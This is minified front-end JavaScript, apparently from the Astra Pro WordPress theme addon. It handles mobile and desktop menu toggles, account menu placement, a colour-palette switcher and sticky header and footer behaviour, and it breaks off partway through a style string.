1astraToggleSetupPro=function(e,t,o){var a,s,n,l=!1;if(0<(a="off-canvas"===e||"full-width"===e?(s=document.querySelectorAll("#ast-mobile-popup, #ast-mobile-header"),(n=t.classList.contains("ast-header-break-point")?document.querySelectorAll("#ast-mobile-header .main-header-menu-toggle"):document.querySelectorAll("#ast-desktop-header .main-header-menu-toggle")).length):t.classList.contains("ast-header-break-point")?(s=document.querySelectorAll("#ast-mobile-header"),(l=!(0<(a=(n=document.querySelectorAll("#ast-mobile-header .main-header-menu-toggle")).length)))?1:a):(s=document.querySelectorAll("#ast-desktop-header"),(n=document.querySelectorAll("#ast-desktop-header .main-header-menu-toggle")).length))||l)for(var r=0;r<a;r++)if(l||(n[r].setAttribute("data-index",r),o[r])||(o[r]=n[r],n[r].removeEventListener("click",astraNavMenuToggle),n[r].addEventListener("click",astraNavMenuToggle,!1)),void 0!==s[r])for(var i,c=0;c<s.length;c++)if(0<(i=document.querySelector("header.site-header").classList.contains("ast-builder-menu-toggle-link")?s[c].querySelectorAll("ul.main-header-menu .menu-item-has-children > .menu-link, ul.main-header-menu .ast-menu-toggle"):s[c].querySelectorAll("ul.main-header-menu .ast-menu-toggle")).length)for(var d=0;d<i.length;d++)i[d].removeEventListener("click",AstraToggleSubMenu),i[d].addEventListener("click",AstraToggleSubMenu,!1)},astraNavMenuTogglePro=function(e,t,o,a){e.preventDefault();var s=e.target.closest("#ast-desktop-header"),n=document.querySelector("#masthead > #ast-desktop-header .ast-desktop-header-content"),l=(s=null!=s&&""!==s?s.querySelector(".main-header-menu-toggle"):document.querySelector("#masthead > #ast-desktop-header .main-header-menu-toggle"),document.querySelector("#masthead > #ast-desktop-header .ast-desktop-header-content .main-header-bar-navigation"));if("desktop"===e.currentTarget.trigger_type)null!==l&&""!==l&&void 0!==l&&(astraToggleClass(l,"toggle-on"),l.classList.contains("toggle-on")?l.style.display="block":l.style.display=""),astraToggleClass(s,"toggled"),s.classList.contains("toggled")?(t.classList.add("ast-main-header-nav-open"),"dropdown"===o&&(n.style.display="block")):(t.classList.remove("ast-main-header-nav-open"),n.style.display="none");else{e=document.querySelectorAll("#masthead > #ast-mobile-header .main-header-bar-navigation"),l=(menu_toggle_all=document.querySelectorAll("#masthead > #ast-mobile-header .main-header-menu-toggle"),"0"),s=!1;if(null!==a.closest("#ast-fixed-header")&&(e=document.querySelectorAll("#ast-fixed-header > #ast-mobile-header .main-header-bar-navigation"),menu_toggle_all=document.querySelectorAll("#ast-fixed-header .main-header-menu-toggle"),l="0",s=!0),void 0===e[l])return!1;for(var r=e[l].querySelectorAll(".menu-item-has-children"),i=0;i<r.length;i++){r[i].classList.remove("ast-submenu-expanded");for(var c=r[i].querySelectorAll(".sub-menu"),d=0;d<c.length;d++)c[d].style.display="none"}-1!==(a.getAttribute("class")||"").indexOf("main-header-menu-toggle")&&(astraToggleClass(e[l],"toggle-on"),astraToggleClass(menu_toggle_all[l],"toggled"),s&&1<menu_toggle_all.length&&astraToggleClass(menu_toggle_all[1],"toggled"),e[l].classList.contains("toggle-on")?(e[l].style.display="block",t.classList.add("ast-main-header-nav-open")):(e[l].style.display="",t.classList.remove("ast-main-header-nav-open")))}};let accountMenuToggle=function(){let n=astraAddon.hf_account_action_type&&"menu"===astraAddon.hf_account_action_type,l=n&&astraAddon.hf_account_show_menu_on&&"click"===astraAddon.hf_account_show_menu_on;var e=document.querySelectorAll(".ast-header-account-wrap");e&&e.forEach(t=>{let o=t.querySelector(".ast-account-nav-menu");function e(e){(l||n&&document.querySelector("body").classList.contains("ast-header-break-point"))&&o&&!t.contains(e.target)&&(o.style.right="",o.style.left="")}t._accountPointerUpHandler||(t._accountPointerUpHandler=e,document.addEventListener("pointerup",e));var a,s=t.querySelector(".ast-header-account-link");s&&(a=function(e){(l||n&&document.querySelector("body").classList.contains("ast-header-break-point"))&&(headerSelectionPosition=e.target.closest(".site-header-section"))&&(headerSelectionPosition.classList.contains("site-header-section-left")?(o.style.left=""===o.style.left?"-100%":"",o.style.right=""===o.style.right?"auto":""):(o.style.right=""===o.style.right?"-100%":"",o.style.left=""===o.style.left?"auto":""))},s._accountClickHandler||(s._accountClickHandler=a,s.addEventListener("click",a)))})},astraColorSwitcher={...astraAddon?.colorSwitcher,init:function(){this?.isInit&&(this.switcherButtons=document.querySelectorAll(".ast-builder
1-color-switcher .ast-switcher-button"),this.switcherButtons?.length)&&(this.switcherButtons?.forEach(e=>{e?.addEventListener("click",this.toggle)}),this.isDarkPalette&&"system"===this.defaultMode&&this.detectSystemColorScheme(),this.isSwitched)&&this.switchLogo()},detectSystemColorScheme:function(){null===this.getCookie("astraColorSwitcherState")&&window.matchMedia("(prefers-color-scheme: dark)").matches&&!this.isSwitched&&this.toggle()},toggle:function(e){e?.preventDefault();e=astraColorSwitcher;e.isSwitched=!e.isSwitched,e.setCookie("astraColorSwitcherState",e.isSwitched,90),e?.forceReload?window.location.reload():(e.switchPaletteColors(),e.switchIcon(),e.switchLogo(),e.isDarkPalette&&e.handleDarkModeCompatibility())},switchPaletteColors:function(){(this.isSwitched?this?.palettes?.switched:this?.palettes?.default)?.forEach((e,t)=>{document.documentElement.style.setProperty("--ast-global-color-"+t,e),astraAddon?.is_elementor_active&&document.documentElement.style.setProperty("--e-global-color-astglobalcolor"+t,e)})},switchIcon:function(){this.switcherButtons?.forEach(o=>{var[a,s]=o?.querySelectorAll(".ast-switcher-icon");if(a&&s){let[e,t]=this.isSwitched?[s,a]:[a,s];o?.classList.add("ast-animate"),setTimeout(()=>{e?.classList.add("ast-current"),t?.classList.remove("ast-current")},100),setTimeout(()=>o?.classList.remove("ast-animate"),200)}a=this.isSwitched?"defaultText":"switchedText";o?.setAttribute("aria-label",o?.dataset?.[a]||"Switch color palette.")})},switchLogo:function(){this.isDarkPalette&&this?.logos?.switched&&this?.logos?.default&&this.switchColorSwitcherLogo()},switchColorSwitcherLogo:function(){var e,t;let o=[];for(e of[".custom-logo-link:not(.sticky-custom-logo):not(.transparent-custom-logo) .custom-logo",".site-branding .site-logo-img img:not(.ast-sticky-header-logo)",".ast-site-identity .site-logo-img img:not(.ast-sticky-header-logo)"]){var a=document.querySelectorAll(e);if(0<a.length&&0<(o=Array.from(a).filter(e=>!(e.closest(".ast-sticky-header-logo")||e.closest(".sticky-custom-logo")||e.closest(".transparent-custom-logo")||e.classList.contains("ast-sticky-header-logo")))).length)break}o.length&&(t=this.isSwitched?this.logos.switched:this.logos.default)&&this.updateLogoImages(o,t)},updateLogoImages:function(e,o){e.forEach(e=>{var t;e&&e.src!==o&&((t=new Image).onload=function(){e.src=o,e.hasAttribute("srcset")&&e.removeAttribute("srcset"),e.hasAttribute("data-src")&&e.setAttribute("data-src",o)},t.onerror=function(){e.src=o},t.src=o)})},handleDarkModeCompatibility:function(){document.body.classList.toggle("astra-dark-mode-enable")},setCookie:(e,t,o)=>{var a=new Date;a.setTime(a.getTime()+24*o*60*60*1e3),document.cookie=`${e}=${t}; expires=${a.toUTCString()}; path=/`},getCookie:e=>{var t;for(t of document.cookie.split("; ")){var[o,a]=t.split("=");if(o===e)return a}return null}};var accountPopupTrigger=function(){if("undefined"!=typeof astraAddon&&"login"===astraAddon.hf_account_logout_action){var e,o=document.querySelectorAll(".ast-account-action-login");if(o.length){let t=document.querySelector("#ast-hb-account-login-wrap");t&&(e=document.querySelector("#ast-hb-login-close"),o.forEach(function(e){e.addEventListener("click",function(e){e.preventDefault(),t.classList.add("show")})}),e)&&e.addEventListener("click",function(e){e.preventDefault(),t.classList.remove("show")})}}};document.addEventListener("astPartialContentRendered",function(){accountMenuToggle(),accountPopupTrigger()}),window.addEventListener("load",function(){accountMenuToggle(),accountPopupTrigger(),astraColorSwitcher.init()}),document.addEventListener("astLayoutWidthChanged",function(){accountMenuToggle(),accountPopupTrigger()}),document.addEventListener("click",function(e){var e=e.target.closest("a"),t=e&&e.getAttribute("href");t&&-1!==t.indexOf("#")&&(e.closest(".main-header-bar-navigation")||e.closest(".ast-mobile-header-content")||e.closest(".ast-desktop-header-content"))&&setTimeout(function(){var e=document.querySelectorAll(".menu-toggle"),t=document.querySelector(".main-header-bar-navigation");t&&!t.classList.contains("toggle-on")&&e.forEach(function(e){e.classList.remove("toggled"),e.setAttribute("aria-expanded","fal
1se")})},10)});((o,r)=>{var s="astHookExtSticky",i=r.document,a=(jQuery(r).outerWidth(),jQuery(r).width()),n={dependent:[],max_width:"",site_layout:"",break_point:920,admin_bar_height_lg:32,admin_bar_height_sm:46,admin_bar_height_xs:0,stick_upto_scroll:0,gutter:0,wrap:"<div></div>",body_padding_support:!0,html_padding_support:!0,active_shrink:!1,shrink:{padding_top:"",padding_bottom:""},sticky_on_device:"desktop",header_style:"none",hide_on_scroll:"no"};function e(t,e){this.element=t,this.options=o.extend({},n,e),this._defaults=n,this._name=s,"1"==this.options.hide_on_scroll&&(this.navbarHeight=o(t).outerHeight()),this.lastScrollTop=0,this.delta=5,this.should_stick=!0,this.hideScrollInterval="",this.init()}e.prototype.stick_me=function(t,e){var o=jQuery(t.element),s=jQuery(r).outerWidth(),i=parseInt(t.options.stick_upto_scroll),a=parseInt(o.parent().attr("data-stick-maxwidth")),n=parseInt(o.parent().attr("data-stick-gutter"));"enabled"==(astraAddon.hook_sticky_header||"")&&(!("desktop"==t.options.sticky_on_device&&astraAddon.hook_custom_header_break_point>s||"mobile"==t.options.sticky_on_device&&astraAddon.hook_custom_header_break_point<=s)&&jQuery(r).scrollTop()>i?"none"==t.options.header_style&&("enabled"==t.options.active_shrink?(t.hasShrink(t,"stick"),i="none",o.hasClass("ast-custom-header")||(i=n),o.parent().css("min-height",o.outerHeight()),o.addClass("ast-header-sticky-active").stop().css({"max-width":a,top:i,"padding-top":t.options.shrink.padding_top,"padding-bottom":t.options.shrink.padding_bottom})):(t.hasShrink(t,"stick"),o.parent().css("min-height",o.outerHeight()),o.addClass("ast-header-sticky-active").stop().css({"max-width":a,top:n,"padding-top":t.options.shrink.padding_top,"padding-bottom":t.options.shrink.padding_bottom})),o.addClass("ast-sticky-shrunk").stop()):t.stickRelease(t)),"enabled"==(astraAddon.hook_sticky_footer||"")&&("desktop"==t.options.sticky_on_device&&astraAddon.hook_custom_footer_break_point>s||"mobile"==t.options.sticky_on_device&&astraAddon.hook_custom_footer_break_point<=s?t.stickRelease(t):(jQuery("body").addClass("ast-footer-sticky-active"),o.parent().css("min-height",o.outerHeight()),o.stop().css({"max-width":a})))},e.prototype.update_attrs=function(){var o,t=this,e=jQuery(t.element),s=parseInt(t.options.gutter),i=t.options.max_width;"none"==t.options.header_style&&(o=e.offset().top||0),"ast-box-layout"!=t.options.site_layout&&(i=jQuery("body").width()),t.options.dependent&&jQuery.each(t.options.dependent,function(t,e){jQuery(e).length&&"on"==jQuery(e).parent().attr("data-stick-support")&&(dependent_height=jQuery(e).outerHeight(),s+=parseInt(dependent_height),o-=parseInt(dependent_height))}),t.options.admin_bar_height_lg&&jQuery("#wpadminbar").length&&782<a&&(s+=parseInt(t.options.admin_bar_height_lg),o-=parseInt(t.options.admin_bar_height_lg)),t.options.admin_bar_height_sm&&jQuery("#wpadminbar").length&&600<=a&&a<=782&&(s+=parseInt(t.options.admin_bar_height_sm),o-=parseInt(t.options.admin_bar_height_sm)),t.options.admin_bar_height_xs&&jQuery("#wpadminbar").length&&(s+=parseInt(t.options.admin_bar_height_xs),o-=parseInt(t.options.admin_bar_height_xs)),t.options.body_padding_support&&(s+=parseInt(jQuery("body").css("padding-top"),10),o-=parseInt(jQuery("body").css("padding-top"),10)),t.options.html_padding_support&&(s+=parseInt(jQuery("html").css("padding-top"),10),o-=parseInt(jQuery("html").css("padding-top"),10)),t.options.stick_upto_scroll=o,"none"==t.options.header_style&&e.parent().css("min-height",e.outerHeight()).attr("data-stick-gutter",parseInt(s)).attr("data-stick-maxwidth",parseInt(i))},e.prototype.hasShrink=function(t,e){o(r).scrollTop()>jQuery(t.element).outerHeight()?jQuery("body").addClass("ast-shrink-custom-header"):jQuery("body").removeClass("ast-shrink-custom-header")},e.prototype.stickRelease=function(t){var e=jQuery(t.element);"enabled"==(astraAddon.hook_sticky_header||"")&&"none"==t.options.header_style&&(e.removeClass("ast-header-sticky-active").stop().css({"max-width":"",top:"",padding:""}),e.parent().css("min-height",""),e.removeClass("ast-sticky-shrunk").stop()),"enabled"==(astraAddon.hook_sticky_footer||"")&&jQuery("body").removeClass("ast-footer-sticky-active")},e.prototype.init=function(){var e,t;jQuery(this.element)&&(e=this,t=jQuery(e.element),parseInt(e.options.gutter),t.position().top,"none"==e.options.header_style&&t.wrap(e.options.wrap).parent().css("min-height",t.outerHeight()).attr("data-stick-support","on").attr("data-stick-maxwidth",parseInt(e.options.max_width)),e.update_attrs(),jQuery(r).on("resize",function(){e.stickRelease(e),e.update_attrs(),e.stick_me(e)}),jQuery(r).on("scroll",function(){e.stick_me(e,"scroll")}),jQuery(i).ready(function(t){e.stick_me(e)}))},o.fn[s]=function(t){return this.each(function(){o.data(this,"plugin_"+s)||o.data(this,"plugin_"+s,new e(this,t))})};var d=jQuery("body").width(),_=astraAddon.site_layout||"",h=astraAddon.hook_sticky_header||"",p=astraAddon.hook_shrink_header||"";sticky_header_on_devices=astraAddon.hook_sticky_header_on_devices||"desktop",site_layout_box_width=astraAddon.site_layout_box_width||1200,hook_sticky_footer=astraAddon.hook_sticky_footer||"",sticky_footer_on_devices=astraAddon.hook_sticky_footer_on_devices||"desktop","ast-box-layout"===_&&(d=parseInt(site_layout_box_width)),jQuery(i).ready(function(t){"enabled"==h&&jQuery(".ast-custom-header").astHookExtSticky({sticky_on_device:sticky_header_on_devices,header_style:"none",site_layout:_,max_width:d,active_shrink:p}),"enabled"==hook_sticky_footer&&jQuery(".ast-custom-footer").astHookExtSticky({sticky_on_device:sticky_footer_on_devices,max_width:d,site_layout:_,header_style:"none"})})})(jQuery,window);((n,h)=>{var a="astExtSticky",l=h.document,r=jQuery(h).width(),c=astraAddon.header_builder_active,s={depen
1dent:[],max_width:"",site_layout:"",break_point:920,admin_bar_height_lg:32,admin_bar_height_sm:46,admin_bar_height_xs:0,stick_upto_scroll:0,gutter:0,wrap:"<div></div>",body_padding_support:!0,html_padding_support:!0,shrink:{padding_top:"",padding_bottom:""},sticky_on_device:"desktop",header_style:"none",hide_on_scroll:"no"},i=0,p=null!==l.querySelector("#ast-hb-account-login-wrap");function t(e,t){this.element=e,this.options=n.extend({},s,t),this._defaults=s,this._name=a,"1"==this.options.hide_on_scroll&&(this.navbarHeight=n(e).outerHeight()),this.lastScrollTop=0,this.delta=5,this.should_stick=!0,this.hideScrollInterval="",this.init()}t.prototype.stick_me=function(e,t){var a,s,i,d,r,o=jQuery(e.element);h.innerWidth;stick_upto_scroll=parseInt(e.options.stick_upto_scroll),max_width=parseInt(o.parent().attr("data-stick-maxwidth")),gutter=parseInt(o.parent().attr("data-stick-gutter")),aboveHeaderSelectorValue=gutter,c&&astraAddon.header_main_shrink&&((o.hasClass("ast-stick-primary-below-wrapper")||o.hasClass("ast-primary-header"))&&1==astraAddon.header_above_stick&&0<gutter&&(gutter-=10),a=l.querySelector(".ast-above-header-bar"),"1"===astraAddon.header_above_stick)&&null!==a&&(a=a.getBoundingClientRect().height+parseInt(a.parentNode.getAttribute("data-stick-gutter")),o.hasClass("ast-stick-primary-below-wrapper")||o.hasClass("ast-primary-header"))&&0<gutter&&(gutter=a),"desktop"===e.options.sticky_on_device&&jQuery("body").hasClass("ast-header-break-point")||"mobile"===e.options.sticky_on_device&&!jQuery("body").hasClass("ast-header-break-point")?e.stickRelease(e):(stick_upto_scroll<0&&(stick_upto_scroll=0),a=0<l.getElementsByClassName("elementor-motion-effects-parent").length,jQuery(h).scrollTop()>stick_upto_scroll?(s=o,c&&(r=o.closest(".ast-mobile-header-wrap"),i=o.closest("#ast-desktop-header"),r=0===r.length?o.find(".ast-mobile-header-wrap"):r,i=0===i.length?o.find("#ast-desktop-header"):i,r.find(".ast-mobile-header-content").css("top",o.outerHeight()+gutter),"ast-box-layout"==e.options.site_layout?(d=jQuery("body").width(),r.find(".ast-mobile-header-content").css("width",d)):r.find(".ast-mobile-header-content").css("width",max_width),i.find(".ast-desktop-header-content").css("top",o.outerHeight()+gutter),i.find(".ast-desktop-header-content").css("width",max_width)),"1"===e.options.hide_on_scroll?e.hasScrolled(e,"stick"):"none"==e.options.header_style?(a||o.parent().css("min-height",o.outerHeight()),l.querySelector("body").classList.contains("fl-builder-edit")||o.addClass("ast-sticky-active").stop().css({top:gutter}),o.addClass("ast-sticky-active").stop().css({"max-width":max_width,"padding-top":e.options.shrink.padding_top,"padding-bottom":e.options.shrink.padding_bottom}),(o.hasClass("ast-stick-primary-below-wrapper")||o.hasClass("ast-primary-header"))&&1==astraAddon.header_above_stick&&o.closest("#ast-desktop-header").find(".ast-above-header-bar").outerHeight()<70&&o.parent().css("min-height",o.outerHeight()),o.addClass("ast-sticky-shrunk").stop(),n(l).trigger("addStickyClass"),s.addClass("ast-header-sticked")):"slide"==e.options.header_style?(s.css({top:gutter}),s.addClass("ast-header-slide"),s.css("visibility","visible"),s.addClass("ast-sticky-active").stop().css({transform:p?"none":"translateY(0)"}),n("html").addClass("ast-header-stick-slide-active"),n(l).trigger("addStickyClass"),s.addClass("ast-header-sticked")):"fade"==e.options.header_style&&(s.css({top:gutter}),s.addClass("ast-header-fade"),s.css("visibility","visible"),s.addClass("ast-sticky-active").stop().css({opacity:"1"}),n("html").addClass("ast-header-stick-fade-active"),n(l).trigger("addStickyClass"),s.addClass("ast-header-sticked"))):(e.stickRelease(e),c&&(r=0===(r=o.closest(".ast-mobile-header-wrap")).length?o.find(".ast-mobile-header-wrap"):r,jQuery("body").hasClass("ast-primary-sticky-header-active")&&jQuery("body").hasClass("ast-above-sticky-header-active")&&jQuery("body").hasClass("ast-below-sticky-header-active")||r.find(".ast-mobile-header-content").removeAttr("style"))))},t.prototype.update_attrs=function(){var e,a,t=this,s=jQuery(t.element),i=parseInt(t.options.gutter),d=t.options.max_width;
1"none"!=t.options.header_style||jQuery("body").hasClass("ast-sticky-toggled-off")?n("#masthead").length&&(e=n("#masthead"),a=("none"==t.options.header_style?e.offset().top:e.offset().top+e.outerHeight()+100)||0):a=s.offset().top||0,"ast-box-layout"!=t.options.site_layout&&(d=jQuery("body").width()),t.options.dependent&&jQuery.each(t.options.dependent,function(e,t){jQuery(t).length&&"on"==jQuery(t).parent().attr("data-stick-support")&&(dependent_height=jQuery(t).outerHeight(),i+=parseInt(dependent_height),a-=parseInt(dependent_height))}),t.options.admin_bar_height_lg&&jQuery("#wpadminbar").length&&782<r&&(i+=parseInt(t.options.admin_bar_height_lg),a-=parseInt(t.options.admin_bar_height_lg)),t.options.admin_bar_height_sm&&jQuery("#wpadminbar").length&&600<=r&&r<=782&&(i+=parseInt(t.options.admin_bar_height_sm),a-=parseInt(t.options.admin_bar_height_sm)),t.options.admin_bar_height_xs&&jQuery("#wpadminbar").length&&(i+=parseInt(t.options.admin_bar_height_xs),a-=parseInt(t.options.admin_bar_height_xs)),t.options.body_padding_support&&(i+=parseInt(jQuery("body").css("padding-top"),10),a-=parseInt(jQuery("body").css("padding-top"),10)),t.options.html_padding_support&&(i+=parseInt(jQuery("html").css("padding-top"),10),a-=parseInt(jQuery("html").css("padding-top"),10)),C&&a--,t.options.stick_upto_scroll=a,"none"==t.options.header_style?s.parent().css("min-height",s.outerHeight()).attr("data-stick-gutter",parseInt(i)).attr("data-stick-maxwidth",parseInt(d)):(s.parent().attr("data-stick-gutter",parseInt(i)).attr("data-stick-maxwidth",parseInt(d)),"ast-padded-layout"===t.options.site_layout&&s.css("max-width",parseInt(d)))},t.prototype.hasScrolled=function(e,t){var a,s=n(h).scrollTop();Math.abs(i-s)<=5||(a=jQuery(e.element),i<s&&0<s?jQuery(e.element).removeClass("ast-nav-down").addClass("ast-nav-up"):s+n(h).height()<n(l).height()&&jQuery(e.element).removeClass("ast-nav-up").addClass("ast-nav-down"),i=s,n(e.element).hasClass("ast-nav-up")||"stick"!=t?(a.css({transform:"translateY(-100%)"}).stop(),setTimeout(function(){a.removeClass("ast-sticky-active")},300),a.css({visibility:"hidden",top:""}),n(l).trigger("removeStickyClass"),n("html").removeClass("ast-header-stick-scroll-active"),a.removeClass("ast-header-sticked")):(a.css({top:gutter}),a.addClass("ast-header-sticked"),a.addClass("ast-header-slide"),a.css("visibility","visible"),a.addClass("ast-sticky-active").stop().css({transform:"translateY(0)"}),n(l).trigger("addStickyClass"),n("html").addClass("ast-header-stick-scroll-active")))},t.prototype.stickRelease=function(e){var t=jQuery(e.element),a=t;"1"===e.options.hide_on_scroll?e.hasScrolled(e,"release"):"none"==e.options.header_style?(t.removeClass("ast-sticky-active").stop().css({"max-width":"",top:"",padding:""}),t.parent().css("min-height",""),n(l).trigger("removeStickyClass"),a.removeClass("ast-header-sticked"),t.removeClass("ast-sticky-shrunk").stop()):"slide"==e.options.header_style?(a.removeClass("ast-sticky-active").stop().css({transform:p?"translateY(-100vh)":"translateY(-100%)"}),a.css({visibility:"hidden",top:""}),n("html").removeClass("ast-header-stick-slide-active"),n(l).trigger("removeStickyClass"),a.removeClass("ast-header-sticked")):"fade"==e.options.header_style&&(a.removeClass("ast-sticky-active").stop().css({opacity:"0"}),a.css({visibility:"hidden"}),a.removeClass("ast-header-sticked"),n(l).trigger("removeStickyClass"),n("html").removeClass("ast-header-stick-fade-active"))},t.prototype.init=function(){var t,e;jQuery(this.element)&&(t=this,e=jQuery(t.element),("none"==t.options.header_style?e.wrap(t.options.wrap).parent().css("min-height",e.outerHeight()):e.wrap(t.options.wrap)).attr("data-stick-support","on").attr("data-stick-maxwidth",parseInt(t.options.max_width)),t.update_attrs(),jQuery(h).on("resize",function(){t.stickRelease(t),t.update_attrs(),t.stick_me(t)}),jQuery(h).on("scroll",function(){t.stick_me(t,"scroll"),jQuery("body").hasClass("ast-sticky-toggled-off")&&(t.update_attrs(),t.stick_me(t,"scroll"))}),jQuery(l).ready(function(e){t.stick_me(t),setTimeout(()=>t.stick_me(t),0)}))},n.fn[a]=function(e){return this.each(function(){n.data(this,"plugin_"+a)||n.data(this,"plugin_"+a,new t(this,e))})};var e,d,o=jQuery("body"),y=o.width(),m=astraAddon.stick_header_meta||"default",_=astraAddon.header_main_stick||"",u=astraAddon.header_main_shrink||"",g=astraAddon.header_above_stick||"",b=astraAddon.header_below_stick||"",k=astraAddon.site_layout||"",v=astraAddon.site_layout_box_width||1200,w=astraAddon.sticky_header_on_devices||"desktop",f=astraAddon.sticky_header_style||"none",j=astraAddon.sticky_hide_on_scroll||"",Q=astraAddon.header_logo_width||"",x=astraAddon.responsive_header_logo_width||"",C=astraAddon.stick_origin_position||"",S=astraAddon.tablet_break_point||768,A=astraAddon.mobile_break_point||544;function I(){var e;"1"==j?("1"==u&&jQuery("#ast-fixed-header").addClass("ast-sticky-shrunk").stop(),"1"!=g&&"on"!=g&&"disabled"!=g&&jQuery("#ast-fixed-header .ast-above-header").hide(),"1"!=_&&"on"!=_&&"disabled"!=_&&jQuery("#ast-fixed-header .main-header-bar").hide(),"1"!=b&&"on"!=b&&"disabled"!=b&&jQuery("#ast-fixed-header .ast-below-header").hide(),jQuery("#ast-fixed-header").astExtSticky({max_width:y,site_layout:k,sticky_on_device:w,header_style:"slide",hide_on_scroll:j}
1)):"none"==f?c?("both"===w?["desktop","mobile"]:[w]).forEach(function(e){var t;"1"!=g&&"on"!=g&&"disabled"!=g||jQuery("#masthead #ast-"+e+"-header .ast-above-header").astExtSticky({max_width:y,site_layout:k,sticky_on_device:w,header_style:f,hide_on_scroll:j}),"1"!=_&&"on"!=_&&"disabled"!=_||"1"!=b&&"on"!=b&&"disabled"!=b?("1"!=_&&"on"!=_&&"disabled"!=_||(t=u?{padding_top:"",padding_bottom:""}:"",jQuery("#masthead #ast-"+e+"-header .main-header-bar").astExtSticky({dependent:["#masthead #ast-"+e+"-header .ast-above-header"],max_width:y,site_layout:k,shrink:t,sticky_on_device:w,header_style:f,hide_on_scroll:j}),jQuery("#masthead #ast-"+e+"-header .ast-custom-header").astExtSticky({max_width:y,site_layout:k,shrink:t,sticky_on_device:w,header_style:f,hide_on_scroll:j})),"1"!=b&&"on"!=b&&"disabled"!=b||jQuery("#masthead #ast-"+e+"-header .ast-below-header").astExtSticky({dependent:["#masthead #ast-"+e+"-header .main-header-bar","#masthead #ast-"+e+"-header .ast-above-header"],max_width:y,site_layout:k,sticky_on_device:w,header_style:f,hide_on_scroll:j})):((jQuery("#masthead #ast-"+e+"-header .main-header-bar-wrap").length?jQuery("#masthead #ast-"+e+"-header .main-header-bar-wrap"):jQuery("#masthead #ast-"+e+"-header .ast-below-header-wrap")).wrap('<div class="ast-stick-primary-below-wrapper"></div>'),jQuery("#masthead #ast-"+e+"-header .ast-below-header-wrap").prependTo("#masthead #ast-"+e+"-header .ast-stick-primary-below-wrapper"),jQuery("#masthead #ast-"+e+"-header .main-header-bar-wrap").prependTo("#masthead #ast-"+e+"-header .ast-stick-primary-below-wrapper"),jQuery("#masthead #ast-"+e+"-header .ast-stick-primary-below-wrapper").astExtSticky({dependent:["#masthead #ast-"+e+"-header .ast-above-header"],max_width:y,site_layout:k,shrink:t,sticky_on_device:w,header_style:f,hide_on_scroll:j}))}):("1"!=g&&"on"!=g&&"disabled"!=g||jQuery("#masthead .ast-above-header").astExtSticky({max_width:y,site_layout:k,sticky_on_device:w,header_style:f,hide_on_scroll:j}),"1"!=_&&"on"!=_&&"disabled"!=_||"1"!=b&&"on"!=b&&"disabled"!=b?("1"!=_&&"on"!=_&&"disabled"!=_||(e=u?{padding_top:"",padding_bottom:""}:"",jQuery("#masthead .main-header-bar").astExtSticky({dependent:["#masthead .ast-above-header"],max_width:y,site_layout:k,shrink:e,sticky_on_device:w,header_style:f,hide_on_scroll:j}),jQuery("#masthead .ast-custom-header").astExtSticky({max_width:y,site_layout:k,shrink:e,sticky_on_device:w,header_style:f,hide_on_scroll:j})),"1"!=b&&"on"!=b&&"disabled"!=b||jQuery("#masthead .ast-below-header").astExtSticky({dependent:["#masthead .main-header-bar","#masthead .ast-above-header"],max_width:y,site_layout:k,sticky_on_device:w,header_style:f,hide_on_scroll:j})):(jQuery("#masthead .main-header-bar-wrap").wrap('<div class="ast-stick-primary-below-wrapper"></div>'),jQuery("#masthead .ast-below-header-wrap").prependTo(".ast-stick-primary-below-wrapper"),jQuery("#masthead .main-header-bar-wrap").prependTo(".ast-stick-primary-below-wrapper"),jQuery("#masthead .ast-stick-primary-below-wrapper").astExtSticky({dependent:["#masthead .ast-above-header"],max_width:y,site_layout:k,shrink:e,sticky_on_device:w,header_style:f,hide_on_scroll:j}))):(jQuery("#ast-fixed-header").addClass("ast-sticky-shrunk").stop(),"1"!=g&&"on"!=g&&"disabled"!=g&&jQuery("#ast-fixed-header .ast-above-header").hide(),"1"!=_&&"on"!=_&&"disabled"!=_&&jQuery("#ast-fixed-header .main-header-bar").hide(),"1"!=b&&"on"!=b&&"disabled"!=b&&jQuery("#ast-fixed-header .ast-below-header").hide(),"1"!=g&&"on"!=g&&"disabled"!=g&&"1"!=_&&"on"!=_&&"disabled"!=_&&"1"!=b&&"on"!=b&&"disabled"!=b||(e=u?{padding_top:"",padding_bottom:""}:"",jQuery("#ast-fixed-header").astExtSticky({max_width:y,site_layout:k,shrink:e,sticky_on_device:w,header_style:f,hide_on_scroll:j}))),"mobile"!=w&&"both"!=w||(jQuery("#masthead .main-header-menu-toggle").click(function(e){var t,a;jQuery("#masthead .main-header-menu-toggle").hasClass("toggled")?(o.addClass("ast-sticky-toggled-off"),"none"==s.header_style&&(jQuery("#masthead .main-header-bar").hasClass("ast-sticky-active")||jQuery("#masthead .ast-stick-primary-below-wrapper").hasClass("ast-sticky-active"))&&(t=jQuery(h).height(),a=0,jQuery("#masthead .ast-above-header")&&jQuery("#masthead .ast-above-header").length&&(a=jQuery("#masthead .ast-above-header").height()),"1"==j&&jQuery("html").css({overflow:"hidden"}),("1"!=u||"1"!=_&&"on"!=_&&"disabled"!=_||"1"!=b&&"on"!=b&&"disabled"!=b?jQuery("#masthead .main-header-bar.ast-sticky-active"):jQuery("#masthead .ast-stick-primary-below-wrapper")).css({"max-height":t-a+"px","overflow-y":"auto"}))):(o.addClass("ast-sticky-toggled-off"),jQuery("html").css({overflow:""}),("1"!=u||"1"!=_&&"on"!=_&&"disabled"!=_||"1"!=b&&"on"!=b&&"disabled"!=b?jQuery("#masthead .main-header-bar.ast-sticky-active"):jQuery("#masthead .ast-stick-primary-below-wrapper")).css({"max-height":"","overflow-y":""}))}
1),jQuery("#ast-fixed-header .main-header-menu-toggle").click(function(e){var t;jQuery("#ast-fixed-header .main-header-menu-toggle").hasClass("toggled")?(t=jQuery(h).height(),"1"==j&&jQuery("html").css({overflow:"auto"}),jQuery("#ast-fixed-header").css({"max-height":t+"px","overflow-y":"auto"})):(jQuery("html").css({overflow:""}),jQuery("#ast-fixed-header").css({"max-height":"","overflow-y":""}))}))}"disabled"!=m&&("enabled"===m&&(_=astraAddon.header_main_stick_meta||"",g=astraAddon.header_above_stick_meta||"",b=astraAddon.header_below_stick_meta||""),0<n("header .site-logo-img img").length&&(-1===(e=0==(e=void 0===(e=(m=n("header .site-logo-img img")).attr("height"))?m.height():e)?"":e).toString().indexOf("%")&&(e+="px"),""!=x.desktop||""!=x.tablet||""!=x.mobile?d="<style type='text/css' id='ast-site-identity-img' class='ast-site-identity-img' > #masthead .ast-header-sticked .site-logo-img .astra-logo-svg { width: "+x.desktop+"px; } @media (max-width: "+S+"px) { #masthead .ast-header-sticked .site-logo-img .astra-logo-svg { width: "+x.tablet+"px; } } @media (max-width: "+A+"px) { #masthead 